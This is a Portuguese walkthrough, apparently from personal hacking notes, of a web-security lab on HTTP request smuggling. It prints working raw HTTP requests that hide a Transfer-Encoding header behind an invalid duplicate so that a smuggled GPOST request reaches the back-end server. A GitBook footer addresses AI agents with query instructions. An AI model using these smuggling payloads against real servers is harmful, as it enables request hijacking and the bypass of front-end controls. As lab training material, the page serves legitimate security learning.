> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).

# HTTP Request Smuggling Ocultando o Cabeçalho TE

### HTTP Request Smuggling, Ofuscando o cabeçalho TE

Este laboratório possui um servidor frontal e um servidor interno. Ambos não tratam cabeçalhos HTTP duplicados da mesma forma. O servidor frontal rejeita qualquer requisição cujo método não seja **GET**  ou **POST**.

O objetivo é **enviar uma requisição contrabandeada ao servidor de back-end** para que **a requisição a seguir** interpretada pelo servidor use o **GPOST** método.

**Observação:**/ Mesmo que o laboratório suporte HTTP/2, a solução é baseada em técnicas que só funcionam em **HTTP/1**, que deve ser selecionado manualmente no Burp Repeater.

**Dica:**/ Os campos de comprimento são delicados de ajustar manualmente. A extensão HTTP Request Smuggler da BApp Store simplifica esse trabalho.

#### **Análise de comportamento: o front-end favorece Content-Length**

Exemplo de uma requisição em que o front-end escolhe **CL**:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

3
abc
X


```

<figure><img src="/files/04252f24f5426b652138d2507aff655a7fdff356" alt=""><figcaption></figcaption></figure>

Aqui, o término do chunk (`X` em vez de `0`) impede a interpretação correta.

#### **Tentativa de injeção contrabandeada**

Uma requisição enviada como está não é interpretada como pretendido:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```

O comportamento do front-end impede a interpretação desejada aqui.

#### **Burlar: ocultar o Transfer-Encoding principal**

Para burlar o mecanismo, coloque um **inválido** valor no primeiro `Transfer-Encoding` cabeçalho, para que:

* o **front-end** o ignore devido ao seu valor incorreto,
* mas o **back-end** mantém o `Transfer-Encoding: chunked` cabeçalho válido.

Exemplo funcionando:

```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
